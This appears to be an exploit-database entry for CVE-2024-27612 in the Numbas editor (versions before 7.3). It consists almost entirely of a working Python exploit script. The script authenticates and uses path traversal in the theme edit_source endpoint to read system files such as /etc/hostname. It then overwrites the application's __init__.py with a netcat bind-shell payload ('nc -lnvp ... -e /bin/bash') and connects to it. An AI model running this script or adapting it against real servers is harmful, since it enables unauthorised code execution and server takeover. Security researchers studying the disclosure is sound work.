Headline
Numbas Remote Code Execution
Numbas versions prior to 7.3 suffer from a remote code execution vulnerability.
# Exploit Title: Numbas < v7.3 - Remote Code Execution# Google Dork: N/A# Date: March 7th, 2024# Exploit Author: Matheus Boschetti# Vendor Homepage: https://www.numbas.org.uk/# Software Link: https://github.com/numbas/Numbas# Version: 7.2 and below# Tested on: Linux# CVE: CVE-2024-27612import sys, requests, re, argparse, subprocess, timefrom bs4 import BeautifulSoups = requests.session()def getCSRF(target): url = f"http://{target}/" req = s.get(url) soup = BeautifulSoup(req.text, 'html.parser') csrfmiddlewaretoken = soup.find('input', attrs={'name': 'csrfmiddlewaretoken'})['value'] return csrfmiddlewaretokendef createTheme(target): # Format request csrfmiddlewaretoken = getCSRF(target) theme = 'ExampleTheme' boundary = '----WebKitFormBoundaryKUMXsLP31HzARUV1' data = ( f'--{boundary}\r\n' 'Content-Disposition: form-data; name="csrfmiddlewaretoken"\r\n' '\r\n' f'{csrfmiddlewaretoken}\r\n' f'--{boundary}\r\n' 'Content-Disposition: form-data; name="name"\r\n' '\r\n' f'{theme}\r\n' f'--{boundary}--\r\n' ) headers = {'Content-Type': f'multipart/form-data; boundary={boundary}', 'User-Agent': 'Mozilla/5.0', 'Accept': '*/*', 'Connection': 'close'} # Create theme and return its ID req = s.post(f"http://{target}/theme/new/", headers=headers, data=data) redir = req.url split = redir.split('/') id = split[4] print(f"\t[i] Theme created with ID {id}") return iddef login(target, user, passwd): print("\n[i] Attempting to login...") csrfmiddlewaretoken = getCSRF(target) data = {'csrfmiddlewaretoken': csrfmiddlewaretoken, 'username': user, 'password': passwd, 'next': '/'} # Login login = s.post(f"http://{target}/login/", data=data, allow_redirects=True) res = login.text if("Logged in as" not in res): print("\n\n[!] Login failed!") sys.exit(-1) # Check if logged and fetch ID usermatch = re.search(r'Logged in as <strong>(.*?)</strong>', res) if usermatch: user = usermatch.group(1) idmatch = re.search(r'<a href="/accounts/profile/(.*?)/"><span class="glyphicon glyphicon-user">', res) if idmatch: id = idmatch.group(1) print(f"\t[+] Logged in as \"{user}\" with ID {id}")def checkVuln(url): print("[i] Checking if target is vulnerable...") # Attempt to read files themeID = createTheme(url) target = f"http://{url}/themes/{themeID}/edit_source?filename=../../../../../../../../../.." hname = s.get(f"{target}/etc/hostname") ver = s.get(f"{target}/etc/issue") hnamesoup = BeautifulSoup(hname.text, 'html.parser') versoup = BeautifulSoup(ver.text, 'html.parser') hostname = hnamesoup.find('textarea').get_text().strip() version = versoup.find('textarea').get_text().strip() if len(hostname) < 1: print("\n\n[!] Something went wrong - target might not be vulnerable.") sys.exit(-1) print(f"\n[+] Target \"{hostname}\" is vulnerable!") print(f"\t[i] Running: \"{version}\"") # Cleanup - delete theme print(f"\t\t[i] Cleanup: deleting theme {themeID}...") target = f"http://{url}/themes/{themeID}/delete" csrfmiddlewaretoken = getCSRF(url) data = {'csrfmiddlewaretoken':csrfmiddlewaretoken} s.post(target, data=data)def replaceInit(target): # Overwrite __init__.py with arbitrary code rport = '8443' payload = f"import subprocess;subprocess.Popen(['nc','-lnvp','{rport}','-e','/bin/bash'])" csrfmiddlewaretoken = getCSRF(target) filename = '../../../../numbas_editor/numbas/__init__.py' themeID = createTheme(target) data = {'csrfmiddlewaretoken': csrfmiddlewaretoken, 'source': payload, 'filename': filename} print("[i] Delivering payload...") # Retry 5 times in case something goes wrong... for attempt in range(5): try: s.post(f"http://{target}/themes/{themeID}/edit_source", data=data, timeout=10) except Exception as e: pass # Establish connection to bind shell time.sleep(2) print(f"\t[+] Payload delivered, establishing connection...\n") if ":" in target: split = target.split(":") ip = split[0] else: ip = str(target) subprocess.Popen(["nc", "-n", ip, rport]) while True: passdef main(): parser = argparse.ArgumentParser() if len(sys.argv) <= 1: print("\n[!] No option provided!") print("\t- check: Passively check if the target is vulnerable by attempting to read files from disk\n\t- exploit: Attempt to actively exploit the target\n") print(f"[i] Usage: python3 {sys.argv[0]} <option> --target 172.16.1.5:80 --user example --passwd qwerty") sys.exit(-1) group = parser.add_mutually_exclusive_group(required=True) group.add_argument('action', nargs='?', choices=['check', 'exploit'], help='Action to perform: check or exploit') parser.add_argument('--target', help='Target IP:PORT') parser.add_argument('--user', help='Username to authenticate') parser.add_argument('--passwd', help='Password to authenticate') args = parser.parse_args() action = args.action target = args.target user = args.user passwd = args.passwd print("\n\t\t-==[ CVE-2024-27612: Numbas Remote Code Execution (RCE) ]==-") if action == 'check': login(target, user, passwd) checkVuln(target) elif action == 'exploit': login(target, user, passwd) replaceInit(target) else: sys.exit(-1)if __name__ == "__main__": main()